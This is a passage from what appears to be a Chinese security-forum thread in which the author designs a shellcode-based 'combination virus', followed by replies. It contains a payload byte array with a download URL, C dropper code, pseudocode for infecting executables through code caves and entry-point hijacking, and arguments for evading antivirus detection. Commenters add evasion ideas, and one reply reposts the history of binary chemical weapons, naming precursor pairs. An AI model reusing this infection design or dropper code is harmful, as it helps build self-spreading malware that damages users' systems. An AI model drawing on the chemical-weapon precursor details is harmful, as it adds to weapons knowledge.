  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 
  0x2F, 0x78, 0x2E, 0x62, 0x69, 0x6E, 0x00, 0x63, 0x3A, 0x5C, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 
  0x73, 0x5C, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x6D, 0x6F, 0x64, 0x65, 0x6C, 
  0x20, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
这样每一个模块T都会被释放到不同的随机路径下,假设为c:\t.exe

void main()
{
   ...
   create_model_t("c:\\t.exe");
   ...
}
   
bool create_model_t(const char *lpfile)
{
   HANDLE hTargetFile = CreateFile(lpfile, GENERIC_ALL,0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
   if (hTargetFile == INVALID_HANDLE_VALUE)
   {
       printf("CreateFile() : error %d\n", GetLastError());
       return FALSE;
   }  
   DWORD dwlen = 0;
   WriteFile(hTargetFile,data,2560,&dwlen,0);  
   CloseHandle(hTargetFile);
}   
  
  3.4.整体框架
  
  void frame()
  {
       获得一组随机感染的路径t[0...m];
       获得每一个被感染的文件的file_buf;
  
       memcpy(t_buf,shellcode_model_s,model_s_size);
       memcpy(t_buf+model_s_size,exe_path,path_len); exe_path 包含在t[0...n]中
       crypt_shellcode(t_buf);
  
       搜索file_buf的空穴;
       
       if 存在大于model_s_size + path_len 空间的空穴
          注入t_buf到file_buf中;
       else
          寻找下一个文件
  
       修改被模块s注入后的文件入口,使模块s获得控制权;
       
       获得一组随机感染的路径t[0...n];
       释放模块T到这些了路径下;
  
       获得一个t[0...m]中未被模块s感染的文件k;
  
       拷贝整体CV到文件k,获得控制权;
  }
  
  限于考虑本篇讨论的主要是技术思路及安全方面因素,不给出源代码及实例演示。  
    
[0x04].检测讨论    
 
    假设有一个依据传染性的检测计算机病毒的程序P,那么从病毒检测的对象上看,实体文件只有病毒文件CV,及释放的模块T,依据病毒检测原理可知,
程序P一定存在误报,当某个被CV感染的程序执行时,它即把CV重新感染给了其它程序,同时也释放了模块T,及隐藏的模块S,由于CV本身具有传染性,可
以被P检测出来,可以清除掉。假设模块T可以依据破坏性由P之外的程序检测并清除。但隐藏模块S本身不具有传染性,不能被P检测出来,因而仍保留在系
统当中。若要重新激活病毒,只需重新引入一个激活程序释放一个T'即可,由于T'不具有传染性,P不能检测它,所以组合病毒仍然在系统中存在。
    
    以上是从原理检测角度来看组合病毒的,实际的反病毒引擎设计中要简化的多,因为无论是模块T、还是文件CV,都可以由特征检测清除,隐藏模块S
也可以由引擎的算法扫描进行修复,当然这部分主要取决于隐藏模块S的复杂程度,这样CV,T,S都可以被清除,只不过对引擎来说,这已经不是针对一个病毒
的修检测修复了,是3既有联系各自独立的病毒清除程序。特别是隐藏模块S如果不被清除,CV可以不断的更新激活程序来获得重新运行机会。而且组合病毒
原理定义中表明可以有n多个隐藏函数。这些都将为彻底的清除带来一定的困难,所以对这方面的安全研究更多的还是从防御方面入手比较好。

[课程]Linux pwn 探索篇!

收藏
免费 7
支持
分享
最新回复 (27)
雪    币: 1919
活跃值: (901)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
2
学习了,支持
2010-4-8 03:41
0
雪    币: 433
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
3
百锐信息安全组织!!!
2010-4-8 18:39
0
雪    币: 91
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
很模糊,有点不明白,太菜了
2010-4-8 20:39
0
雪    币: 2142
活跃值: (1967)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
5
异军突起的二元化学武器 1.由来已久的想法

1969年11月24日,法新社发自纽约的一条电讯称:“美国已研究成功由两种无毒的化学品装配成的化学航弹。两种化学品装在炸弹的两个密封室内,当炸弹落下时,它们相互混合,产生出神经性毒剂”。随后又出现了关于研究成功这类炸弹的报导。这就是后来被称为“新一代化学武器”的二元化学武器。所谓“二元”,就是说,在这种弹药内不直接装填毒剂,而装填可生成毒剂的中间体。即把两种或两种以上的液体或固体分装于弹药飞行中由隔膜隔开的小室中。发射时,隔膜破裂,几种组分即在弹药飞行中靠弹体的旋转进行混合,通过化学反应生成毒剂。这一生产毒剂的过程是在弹药发射后8~10秒内完成的。二元化学武器的出现使许多毒性很强但性质不稳定的毒剂重新被利用,因此可选用的毒剂大大增加。同时也解决了生产、运输、储存的许多问题,是在毒剂使用原理上的一个重大突破,开创了化学武器发展的新局面。那么二元化学武器是怎么发展而来的呢?<br>  很早以前,有人发现在南美洲哥伦比亚有一种小甲虫,当它向 “敌人”发动攻击或者自卫时,像炮兵那样发射出一种液体,这种液体落在人的皮肤上会有强烈的灼痛感。科学家们对这种小甲虫进行了解剖分析,发现这种小甲虫的胃与众不同,它有三个小室。一个小室储有二元酚的水溶液,另一个小室储有双氧水溶液。当两者沿着细小的导管流到第三个小室里,同一种能使化合物立即氧化的酶混合发生化学反应,因而能喷射出温度高达100℃的具有恶臭和刺激性的液体。<br>  这种小虫的独特生理结构,引起了化学家的极大兴趣,并开始设想能不能把这种小虫的作用原理“移植”到化学武器上。早在第二次世界大战之前,美国就曾对一些可能的“二元化学武器”进行过研究。例如砷化氢是一种血液毒,人们曾想把它用作毒剂。它在空气中极易氧化,不易造成足够的战场浓度。为了克服这一困难,在第二次世界大战期间曾试验过一种航弹,弹腔由隔膜分成两室,前室装有砷化镁,后室装有硫酸。当航弹击中地面时,撞针把隔膜穿破,硫酸与砷化镁发生反应,可以缓慢地、长时间地释放出有毒的砷化氢烟云。<br>  又如一种代号为KB-16的皮肤糜烂性毒剂,它具有比芥子气更为剧烈的对眼睛的伤害作用,无味而且作用更为持久。但由于储存性质不稳定而不能用作毒剂。人们也曾建议在弹药中不装入KB—16本身,而装入其中间体N—(2—氯乙基)氨基甲酸甲酯和亚硝化学剂。使用时两者混合,发生反应,释放出KB—16。<br>  此外,鉴于化学毒剂的剧毒性,为了减少毒剂和弹药在生产、装填、运输和储存过程中对人员的危害,也曾求助于“二元化”技术,这对于海军舰只来说尤为重要。因为储存在军舰上的化学武器即使稍有渗漏,也能使整个军舰陷于瘫痪。所以海军的化学武器设计人员曾研究过一种安全措施,即在弹药内同时装有消毒剂,一旦发生渗漏,即可自动消毒。这实际上也可看成是一种广义上的二元化学武器。<br>  然而,由于技术上的原因,当时虽然提出了一些设想,进行了一些试验,但都没有获得实际应用。美国真正对二元化学武器产生巨大的兴趣,并认真着手建立新一代化学武器,却是70年代以后的事。这与当时政治和军事背景紧密相关
2010-4-9 01:06
0
雪    币: 397
活跃值: (352)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
6
多谢ls 科普,二元化学武器,像是生化病毒啊
忘记是谁说的了,计算机病毒是人类目前为止制造唯一生命体。
2010-4-9 09:25
0
雪    币: 238
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
更新有点慢。
2010-4-9 11:24
0
雪    币: 213
活跃值: (147)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
C用来感染,S用来激活,T是真正的Payload
这种组织形式跟木马群的方式一样
关键是T采用了ShellCode的形式,跟漏洞攻击的方式一样
也就是楼主标题中提到的"基于Shellcode感染方式“
赞~
2010-4-9 12:06
0
雪    币: 112
活跃值: (48)
能力值: ( LV9,RANK:320 )
在线值:
发帖
回帖
粉丝
9
呼呼

shell  virus  shellcode本一家

现在的病毒就应该是

shellcode+高级语言+asm模块

shell+高级语言dll模块

asm框架+高级语言dll模块

呼呼

我早有这样的思路了,,呼呼,,
2010-4-9 16:54
0
雪    币: 393
活跃值: (100)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
10
aver都是理想主义者。总给vxer预想着很多的限制。
一个不至于太简单的多文件感染av就很难解决。
至于主动防御从某种角度上说更是可笑。病毒的功能或者说目的是很单一的,主动防御所能控制的只有系统权限,对于单独的软件却根本无法保护。比如游戏木马根本不需要随机启动,只要能随游戏启动就行了,也不需要注入系统进程,有太高权限,只要能完全控制游戏相关的东西就行了,而这些与系统并无太多关系的权限主动防御根本控制不了,既无法察觉也无法干扰。当然,如果一定要说一个是病毒一个是木马的话,那也没多少好说的。
2010-4-9 17:36
0
雪    币: 397
活跃值: (352)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
11
再胡扯些,
asm  + pdf  + ...
asm  + jpg  + ...
asm  + ...

当然要保证每一个组合不容易被,特征 + 启发 给秒杀了。

charme 给你发站内消息看一下
2010-4-9 17:37
0
雪    币: 393
活跃值: (100)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
12
install(static inline hook)
load
code

lz所说的a函数也没有多少必要,在install部分找到合适的缩主文件原本存在的函数就行。
2010-4-9 17:41
0
雪    币: 397
活跃值: (352)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
13
没太明白iiii 说的意思,不妨详细些。
a 也就是激活那部分,是可以随意更改的。有a的存在,才是具有病毒的行为,没有a,就没有感染,执行。
只要s,t存在, a 被杀掉,还修改换其他的a‘ 来执行激活。我想这可能是组合病毒最大的特点。
2010-4-9 17:55
0
雪    币: 393
活跃值: (100)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
14
可能我没有很好的理解你文章内容,所以我说的可能是与你所说的主题不相关的东西。
在之前我有灰盒分析过一些av,可能是出于效率或者一些其它的原因,这些av都不能同时分析多个文件。
所以 不需要你所说的a 我们可以这样做, 直接将load和code(payload)分别写入不同的文件(code必须写入dll模块)。在文件a中直接getdllbase/jmp code
相比你所说的代码组合病毒而言 多文件感染效率更高。 而且我也怀疑你所说的组合病毒是否真能轻松的达到你所想要的效果。
2010-4-9 19:31
0
雪    币: 242
活跃值: (14)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
15
iiii,是你理想地认为aver都是理想主义者。

没人比别人更聪明,也没人比别人思维更活跃。专注角度不同。
就像再NB的壳,有利益驱动就有人破。要是没有商用价值,没人蛋疼的去做极致的对抗,更没有哪个老板会蛋疼的同意有兴趣的蛋疼员工去浪费精力。
2010-4-10 01:23
0
雪    币: 194
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
先mark,慢慢在看
2010-4-10 23:10
0
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
mark 学习~~
2010-4-10 23:15
0
雪    币: 463
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
大致思路懂了,感谢LZ分享
2010-4-11 00:08
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
多谢
学习了,支持
2010-4-11 01:11
0
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
20
先顶后看~~
2010-4-13 19:48
0
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
21
不是很认同LZ的思路。

分解的方向是对的,但要分解的更小。当然难点就在于如何关联各部分,用一个单点来关联的方式肯定是走不通的。
2010-4-14 19:05
0
雪    币: 266
活跃值: (332)
能力值: ( LV9,RANK:550 )
在线值:
发帖
回帖
粉丝
22
占个座位,方便下次学习好找。
2010-4-14 19:49
0
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
看一下思路 顺便赚点钱
2010-4-14 20:34
0
雪    币: 397
活跃值: (352)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
24
多谢nkspark兄弟的关注
分解的更小是什么意思,没太们明白,不妨详细说一下思路吧。

关联的方式有很多中,这里只是一种。还有你说的分解更小,是不是说组合中的每个成员a,h ?再细分。
如果是这样那就仅是实现的具体手段了,和个人偏好了。谁知道哪一天,没准就有人写出来,pe + jpg + pdf + mp3 ...的东西来。
我这里有一个写好的demo,PM你?
2010-4-14 20:39
0
雪    币: 101
活跃值: (88)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
25
分解是动作(行为)的分解,至于分解到什么对象(可执行文件、文本、图片等)当中是无所谓的。

例如,文件搜索与感染是病毒必须要做的两个动作,那么这两个动作必须分解到不同的对象当中。

这方面的东西,我不会深入讨论的。这一句,已经有点儿多了,下不为例。
2010-4-19 15:58
0
游客
登录 | 注册 方可回帖
返回
//